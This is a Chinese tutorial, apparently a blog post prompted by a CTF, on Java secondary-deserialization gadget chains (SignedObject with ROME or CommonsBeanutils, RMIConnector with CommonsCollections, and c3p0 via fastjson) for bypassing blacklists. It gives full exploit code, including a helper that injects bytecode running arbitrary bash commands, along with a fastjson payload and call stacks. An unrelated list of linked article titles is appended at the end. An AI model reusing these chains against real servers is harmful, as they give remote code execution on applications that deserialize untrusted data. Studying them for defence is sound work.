不记得是哪一场比赛了,遇到了一个 Java 的题目,过滤了很多关键类,不管小编把 CC 链如何拆开组合,都没有办法绕过。

就在此时,大佬看了一眼说,用二次反序列化就可以绕过了。“二次反序列化”这六个字重重地敲在了我的心巴上,从那以后我就对二次反序列化产生了莫名的渴望。

小编开始详细学习时,发现没有二次反序列化比较系统的学习文章,那么,就自己总结一个。

简单介绍下二次反序列化,顾名思义,就是反序列化两次,其主要意义是 绕过黑名单的限制或不出网利用

PS:本文用到的工具类会放在文末

它,是 java.security 下一个用于创建真实运行时对象的类,更具体地说, SignedObject 包含另一个 Serializable 对象。

太完美了,这个类简直是为二次反序列化而存在的,来关注下它的 getObject()

反序列化的内容也是可控

那么小编思路瞬间清晰了,先构造一个恶意 SignedObject

KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject(恶意对象 用于第二次反序列化, kp.getPrivate(), Signature.getInstance("DSA"));

然后调用它的 getObject() 方法即可,那么现在压力来到了如何调用这个方法这边

提到调用 getter 方法,茯苓第一个想到的就是 rome 反序列化,众所周知,rome 的 ToStringBean 的 toString() 方法可以办到这件事,理论上是可行的,实际也是可以构造的

因为 ObjectBean 其在实例化时会实例化三个 bean,这样构造出来的内容过分长了,小编不喜欢

大家可以自行构造试试

,小编绝不是那种不负责的人,还是给出例子,但不进行具体分析

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import javax.xml.transform.Templates;
import java.security.*;
import java.util.HashMap;
import static util.Tool.*;public class R_test {public static void main(String[] args) throws Exception{TemplatesImpl obj = new TemplatesImpl();setFieldValue(obj, "_bytecodes", new byte[][]{payload("mate-calc").toBytecode()});setFieldValue(obj, "_name", "Poria");setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());HashMap hashMap1 = getpayload(Templates.class, obj);KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");kpg.initialize(1024);KeyPair kp = kpg.generateKeyPair();SignedObject signedObject = new SignedObject(hashMap1, kp.getPrivate(), Signature.getInstance("DSA"));HashMap hashMap2 = getpayload(SignedObject.class, signedObject);run(hashMap2, "debug", "object");}public static HashMap getpayload(Class clazz, Object obj) throws Exception {ObjectBean objectBean = new ObjectBean(ObjectBean.class, new ObjectBean(String.class, "rand"));HashMap hashMap = new HashMap();hashMap.put(objectBean, "rand");ObjectBean expObjectBean = new ObjectBean(clazz, obj);setFieldValue(objectBean, "_equalsBean", new EqualsBean(ObjectBean.class, expObjectBean));return hashMap;}
}

rome 链的关键转折点在于 pReadMethod.invoke(_obj,NO_PARAMS) , EqualsBean 也存在这个关键代码

那么小编可以利用珍藏多年的 CC7 链,利用 Hashtable 来触发 equals

这步是 CC7 的构造方式,因为要构造两遍,所以写为静态方法。

构造恶意 TemplatesImpl ,将其装入第一个 Hashtable

构造恶意 SignedObject ,将其装入第二个 Hashtable

最终 exp

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import javax.xml.transform.Templates;
import java.security.*;
import java.util.HashMap;
import java.util.Hashtable;
import static util.Tool.*;public class R_SignedObject {public static void main(String[] args) throws Exception{TemplatesImpl obj = new TemplatesImpl();setFieldValue(obj, "_bytecodes", new byte[][]{payload("mate-calc").toBytecode()});setFieldValue(obj, "_name", "Poria");setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());Hashtable table1 = getPayload(Templates.class, obj);KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");kpg.initialize(1024);KeyPair kp = kpg.generateKeyPair();SignedObject signedObject = new SignedObject(table1, kp.getPrivate(), Signature.getInstance("DSA"));Hashtable table2 = getPayload(SignedObject.class, signedObject);run(table2, "debug", "object");}public static Hashtable getPayload (Class clazz, Object payloadObj) throws Exception{EqualsBean bean = new EqualsBean(String.class, "r");HashMap map1 = new HashMap();HashMap map2 = new HashMap();map1.put("yy", bean);map1.put("zZ", payloadObj);map2.put("zZ", bean);map2.put("yy", payloadObj);Hashtable table = new Hashtable();table.put(map1, "1");table.put(map2, "2");setFieldValue(bean, "_beanClass", clazz);setFieldValue(bean, "_obj", payloadObj);return table;}
}

值得一提的是,因为 rome 的特殊性,该利用既可以用于 ObjectInputStream 的反序列化,也可以用于 HessianInput 的反序列化,小编分别给出这两种情况下的调用栈

readObject:431, ObjectInputStream (java.io)
getObject:179, SignedObject (java.security)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
beanEquals:146, EqualsBean (com.sun.syndication.feed.impl)
equals:103, EqualsBean (com.sun.syndication.feed.impl)
equals:495, AbstractMap (java.util)
reconstitutionPut:1241, Hashtable (java.util)
readObject:1215, Hashtable (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1170, ObjectStreamClass (java.io)
readSerialData:2178, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
getObject:179, SignedObject (java.security)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
beanEquals:146, EqualsBean (com.sun.syndication.feed.impl)
equals:103, EqualsBean (com.sun.syndication.feed.impl)
equals:495, AbstractMap (java.util)
put:470, Hashtable (java.util)
readMap:114, MapDeserializer (com.caucho.hessian.io)
readMap:532, SerializerFactory (com.caucho.hessian.io)
readObject:1160, HessianInput (com.caucho.hessian.io)

小编苦思冥想啊,突然想到,能调用 getter 方法的可不止上面提到的,对,就是那个,喊出来吧

这条链相信大家都耳熟能详,结合p神构造 CBShiro 的方式让该链只依赖于 commons-beanutils

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.Signature;
import java.security.SignedObject;
import java.util.PriorityQueue;
import static util.Tool.*;public class CB_SingedfObject {public static void main(String[] args) throws Exception {TemplatesImpl obj = new TemplatesImpl();setFieldValue(obj, "_bytecodes", new byte[][]{payload("mate-calc").toBytecode()});setFieldValue(obj, "_name", "Poria");setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());PriorityQueue queue1 = getpayload(obj, "outputProperties");KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");kpg.initialize(1024);KeyPair kp = kpg.generateKeyPair();SignedObject signedObject = new SignedObject(queue1, kp.getPrivate(), Signature.getInstance("DSA"));PriorityQueue queue2 = getpayload(signedObject, "object");run(queue2, "debug", "object");}public static PriorityQueue<Object> getpayload(Object object, String string) throws Exception {BeanComparator beanComparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);PriorityQueue priorityQueue = new PriorityQueue(2, beanComparator);priorityQueue.add("1");priorityQueue.add("2");setFieldValue(beanComparator, "property", string);setFieldValue(priorityQueue, "queue", new Object[]{object, null});return priorityQueue;}
}

构造过程和上面相似,不在赘述,小编在这里直接给出调用栈

readObject:431, ObjectInputStream (java.io)
getObject:179, SignedObject (java.security)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeMethod:2116, PropertyUtilsBean (org.apache.commons.beanutils)
getSimpleProperty:1267, PropertyUtilsBean (org.apache.commons.beanutils)
getNestedProperty:808, PropertyUtilsBean (org.apache.commons.beanutils)
getProperty:884, PropertyUtilsBean (org.apache.commons.beanutils)
getProperty:464, PropertyUtils (org.apache.commons.beanutils)
compare:163, BeanComparator (org.apache.commons.beanutils)
siftDownUsingComparator:722, PriorityQueue (java.util)
siftDown:688, PriorityQueue (java.util)
heapify:737, PriorityQueue (java.util)
readObject:797, PriorityQueue (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1170, ObjectStreamClass (java.io)
readSerialData:2178, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)

对于 rome 来说,二次反序列化多用于目标不出网的情况(当然也可以用于绕过黑名单)

而 CB 这条,唯一作用就是绕过黑名单了吧

这是正常的CB链

这是二次反序列化之后的

它,是 javax.management 下一个与远程 rmi 连接器的连接类,但却有自己的想法

关注它的 findRMIServerJRMP 方法

往上找,看到要求 path 以 /stub/ 开头

继续往上找,在该类的 public 方法 connect 中看到调用,要求 rmiServer 为 null

有一个绝佳的构造方法符合小编的要求

到此,这个利用方法就通了,给出构造

JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://");
setFieldValue(jmxServiceURL, "urlPath", "/stub/base64string");
RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, null);

现在只要能调用它的 connect 方法就可以了

说到调用任意方法,小编一下子就想到了 CC 链

connect 装入

TiedMapEntry 封装 LazyMap

最后装入 HashMap 用于触发整条链

完整 exp

import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import java.util.HashMap;
import java.util.Map;
import static util.Tool.*;public class CC_RMIConnector {public static void main(String[] args) throws Exception {JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://");setFieldValue(jmxServiceURL, "urlPath", "/stub/base64string");RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, null);InvokerTransformer invokerTransformer = new InvokerTransformer("connect", null, null);HashMap<Object, Object> map = new HashMap<>();Map<Object,Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, rmiConnector);HashMap<Object, Object> expMap = new HashMap<>();expMap.put(tiedMapEntry, "Poria");lazyMap.remove(rmiConnector);setFieldValue(lazyMap,"factory", invokerTransformer);run(expMap, "debug", "object");}
}

调用栈

readObject:424, ObjectInputStream (java.io)
findRMIServerJRMP:2007, RMIConnector (javax.management.remote.rmi)
findRMIServer:1924, RMIConnector (javax.management.remote.rmi)
connect:287, RMIConnector (javax.management.remote.rmi)
connect:249, RMIConnector (javax.management.remote.rmi)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
transform:126, InvokerTransformer (org.apache.commons.collections.functors)
get:158, LazyMap (org.apache.commons.collections.map)
getValue:74, TiedMapEntry (org.apache.commons.collections.keyvalue)
hashCode:121, TiedMapEntry (org.apache.commons.collections.keyvalue)
hash:339, HashMap (java.util)
readObject:1410, HashMap (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1170, ObjectStreamClass (java.io)
readSerialData:2178, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)

这条链可以用于存在 CC 依赖但是有黑名单时候,说实话,小编觉得这个链很鸡肋,可能只能面对一些很极端的情况

WrapperConnectionPoolDataSource

它,是 com.mchange.v2.c3p0 下的。。对不起编不下去了

WrapperConnectionPoolDataSource 继承于 WrapperConnectionPoolDataSourceBase ,在 WrapperConnectionPoolDataSourceBase 中存在属性 userOverridesAsString 及其 setter 方法 setUserOverridesAsString ,触发 fireVetoableChange 事件处理

其中有一个判断语句,当其属性为 userOverridesAsString 时,将调用 parseUserOverridesAsString 方法

截取 HexAsciiSerializedMap 之后的内容,进入到 fromByteArray

最后进入到 deserializeFromByteArray 中,进行二次反序列化

至此该链子就通了,构造起来呢,相信大家也都看出来了,可以利用 fastjson 来达成,在小于1.2.47的版本,使用缓存绕过

{"rand1": {"@type": "java.lang.Class","val": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"},"rand2": {"@type": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource","userOverridesAsString": "HexAsciiSerializedMap:hexstring;",}
}

最后那个封号不要忘记!

这条链子就得看依赖了,有什么打什么,记得把序列化后的内容转化为16进制字符就可以了

小编这里给出 CBShiro 的例子(别问,问就是偏爱)

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import java.util.PriorityQueue;
import static util.Tool.*;public class Hex {public static void main(String[] args) throws Exception{TemplatesImpl obj = new TemplatesImpl();setFieldValue(obj, "_bytecodes", new byte[][]{payload("mate-calc").toBytecode()});setFieldValue(obj, "_name", "Poria");setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);queue.add("1");queue.add("1");setFieldValue(comparator, "property", "outputProperties");setFieldValue(queue, "queue", new Object[]{obj, null});run(queue, "debug", "hex");}
}

同样的,给出调用栈

readObject:431, ObjectInputStream (java.io)
deserializeFromByteArray:144, SerializableUtils (com.mchange.v2.ser)
fromByteArray:123, SerializableUtils (com.mchange.v2.ser)
parseUserOverridesAsString:318, C3P0ImplUtils (com.mchange.v2.c3p0.impl)
vetoableChange:110, WrapperConnectionPoolDataSource$1 (com.mchange.v2.c3p0)
fireVetoableChange:375, VetoableChangeSupport (java.beans)
fireVetoableChange:271, VetoableChangeSupport (java.beans)
setUserOverridesAsString:387, WrapperConnectionPoolDataSourceBase (com.mchange.v2.c3p0.impl)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
setValue:96, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:118, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:1061, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:756, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:271, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:267, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:370, DefaultJSONParser (com.alibaba.fastjson.parser)
parseObject:523, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1335, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1301, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:152, JSON (com.alibaba.fastjson)
parse:162, JSON (com.alibaba.fastjson)
parse:131, JSON (com.alibaba.fastjson)
parseObject:223, JSON (com.alibaba.fastjson)

这条链子很明显,是配合 Fastjson 、 Jackson 环境下不出网利用的打法

import com.alibaba.fastjson.JSON;
import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import javassist.ClassPool;
import javassist.CtClass;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;public class Tool {private Tool(){}public static void run(Object obj, String mode, String type) throws Exception {switch (type) {case "object" :String object = base64Encode(serialize(obj));System.out.println(object);if (mode.equals("debug"))deserialize((base64Decode(object)));break;case "hessian" :String hessian = base64Encode(hessianser(obj));System.out.println(hessian);if (mode.equals("debug"))hessiandeser(base64Decode(hessian));break;case "hex" :byte[] bytes = serialize(obj);String hex = "{\n" +"    \"rand1\": {\n" +"        \"@type\": \"java.lang.Class\",\n" +"        \"val\": \"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"\n" +"    },\n" +"    \"rand2\": {\n" +"        \"@type\": \"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\",\n" +"        \"userOverridesAsString\": \"HexAsciiSerializedMap:" + bytesToHexString(bytes, bytes.length) + ";\",\n" +"    }\n" +"}";System.out.println(hex);if (mode.equals("debug"))JSON.parseObject(hex);break;}}public static void deserialize(byte[] bytes) throws Exception {ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);objectInputStream.readObject();}public static byte[] serialize(Object object) throws Exception {ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);objectOutputStream.writeObject(object);return byteArrayOutputStream.toByteArray();}public static void hessiandeser(byte[] bytes) throws Exception {ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);HessianInput hessianInput = new HessianInput(byteArrayInputStream);hessianInput.readObject();}public static byte[] hessianser(Object object) throws Exception {ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();HessianOutput hessianOutput = new HessianOutput(byteArrayOutputStream);hessianOutput.getSerializerFactory().setAllowNonSerializable(true);hessianOutput.writeObject(object);return byteArrayOutputStream.toByteArray();}public static byte[] base64Decode(String string) {Base64.Decoder decoder = Base64.getDecoder();return decoder.decode(string);}public static String base64Encode(byte[] bytes) {Base64.Encoder encoder = Base64.getEncoder();return encoder.encodeToString(bytes);}public static String bytesToHexString(byte[] bArray, int length) {StringBuffer sb = new StringBuffer(length);for(int i = 0; i < length; ++i) {String sTemp = Integer.toHexString(255 & bArray[i]);if (sTemp.length() < 2) {sb.append(0);}sb.append(sTemp.toUpperCase());}return sb.toString();}public static CtClass payload(String string) throws Exception {String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";ClassPool classPool = ClassPool.getDefault();classPool.appendClassPath(AbstractTranslet);CtClass payload = classPool.makeClass("Evil");payload.setSuperclass(classPool.get(AbstractTranslet));payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(new String[]{\"/bin/bash\", \"-c\",\"" + string + "\"});");return payload;}public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {Field field = getField(obj.getClass(), fieldName);field.set(obj, value);}public static Field getField (final Class<?> clazz, final String fieldName ) throws Exception {try {Field field = clazz.getDeclaredField(fieldName);if ( field != null )field.setAccessible(true);else if ( clazz.getSuperclass() != null )field = getField(clazz.getSuperclass(), fieldName);return field;}catch ( NoSuchFieldException e ) {if ( !clazz.getSuperclass().equals(Object.class) ) {return getField(clazz.getSuperclass(), fieldName);}throw e;}}
}

那么,就写到这里吧,再写,就不礼貌辣

二次反序列化 看我一命通关相关推荐

  1. sqli-labs 1~4 多命通关攻略

    sqli-labs 1~4 多命通关攻略 第一关 判断是否存在 SQL 注入点 MySQL 中的注释 判断 SQL 返回的查询结果中的列数 联合注入 判断显示位 数据库 information_sch ...

  2. 龙与地下城2欧版,绿法师一命通关成功

    2023-01-10 龙与地下城2欧版,绿法师一命通关成功了. 虽说中途有各种模拟器暂停选道具魔法,暂停想清后面的细节-- 总算成功了. 记录一下. 最大的难点是前面的几关,杂兵不少boss也强,我方 ...

  3. 向西,向西,到栖霞去(二)--走马看福山

    摘要:栖霞市,号称"胶东屋脊"."苹果之都",距离烟台的芝罘区大约80公里,我从烟台向西,骑了7个小时的自行车,终于到达了目的地-栖霞,本文记述在大樱桃之乡.鲁 ...

  4. Golang处理JSON(二) 反序列化

    在Go语言中,encoding/json标准包处理json数据的序列化与反序列化问题.如果想了解序列化可以看这一篇序列化.与编码json的Marshal类似,解析json也提供了Unmarshal方法 ...

  5. 一条命通关,这个AI算法玩超级马里奥操作秀翻天丨视频+开源代码

    郭一璞 发自 北四环  量子位 报道 | 公众号 QbitAI 把超级马里奥玩成下面这样,算什么水平? 能流畅的行走在妖魔鬼怪之间 能掐准食人花出现的时机 能灵巧的躲过烧火棍 能克服各种变态的地形 从 ...

  6. Steam Deck——硬盘,网络,模拟器一命通关教程

    此教程适用于萌新以及模拟器党,无需任何基础,跟着流程走,你会获得一台可以调校色彩,更换主题,自由联网,容量充足的实用性拉满的SteamDeck.看着库中满满收藏,心里也会满满幸福. 1. 购买 ste ...

  7. java超详细小程序对接微信支付(二),看完不会你打我

    4.支付通知回调 B-验证签名 因为这个接口是微信进行回调的,但是如果别人知道了这个接口就给进行伪造信息进行调用这个接口 补充一点,这里这个接口最后要返回给微信success 不然会一直进行调用该接口 ...

  8. 心电图 python_【铎悦干货】解析心电图基础(二),看完绝不后悔

    整理 | 王京阳 编辑 | 郭晨 校对 | 张慧 视觉 | 杨晋 第20篇干货文章,碎片化学习仅需:10分钟 此篇干货:来源于合作公众号[犬猫麻醉100问] 心电图诊断,从正确获取和记录一份完整的心电 ...

  9. 关于标志的精思巧形(二)----如何“看懂”标志

    ----精思巧形LOGO  设计师如何看懂标志 设计师如何看懂标志 很多标志设计学员说看不懂标志,我之前写过三篇简单的博文,来帮助设计师自我检查标志设计能力,如果要说自己能独立完成标志设计,我们可以从 ...

最新文章

  1. 用matlab怎么画视电阻率拟断面图,在MATLAB平台上实现可控源音频大地电磁反演数据三维可视化显示...
  2. Java开发小技巧(五):HttpClient工具类
  3. 装B指南之使用浏览器播放电影
  4. vscode debug c++与opencv程序
  5. linux查看kafka状态_Linux Page Cache调优在Kafka中的应用
  6. python循环结构代码_Python --- 程序的循环结构
  7. Java正则表达式实例详解
  8. vue引用阿里云iconfont使用icon图标(elementUI图标太少)
  9. 铃木敏文《零售的哲学》品读之对产品经理和程序员的现实意义 下篇
  10. ABAP clear、refresh、free的区别
  11. 新《葫芦兄弟》被批毁童年,如果这样拍必然好看一百倍!
  12. 达梦数据库 开发版试用时间限制
  13. js:按钮绑定多个事件的三种方法(js,DOM,jQuery)
  14. php查询数据库表中的id个数,GitHub - xindong/easy-total: 一个可以对预先设定的sql语句进行实时数据统计并输出结果的服务...
  15. 蓝桥杯等差数列,双阶乘
  16. 基于Smart200的PTO脉冲发送(步进电机)及基本运动控制向导的设置内容
  17. JAVA中的字符编码
  18. ISP之Sharpen
  19. 如何用Typora记笔记? | 附带Markdown基础教程
  20. 《开源项目系列》 --- 简阅

热门文章

  1. 弘辽科技:不拼低价,95后小伙3个月从0冲上150万
  2. 【模电】第十章、信号处理与信号产生电路(振荡电路)
  3. 漩涡鸣人的十大过人之处
  4. android wifi取消自动连接网络,Android 11新增无线网络连接安全策略 可以不自动连接某些特定WiFi...
  5. 90个优秀外国英文网站强力推荐
  6. 程序员为什么要英文好?
  7. [Win Desktop] Windows 桌面应用推荐一
  8. 《C专家编程》1-2章阅读收获
  9. 一位资深程序员大牛给予Java初学者的学习建议
  10. 华东师范大学计算机考研参考书,华东师范大学计算机科学与技术研究生考试科目和考研参考书目...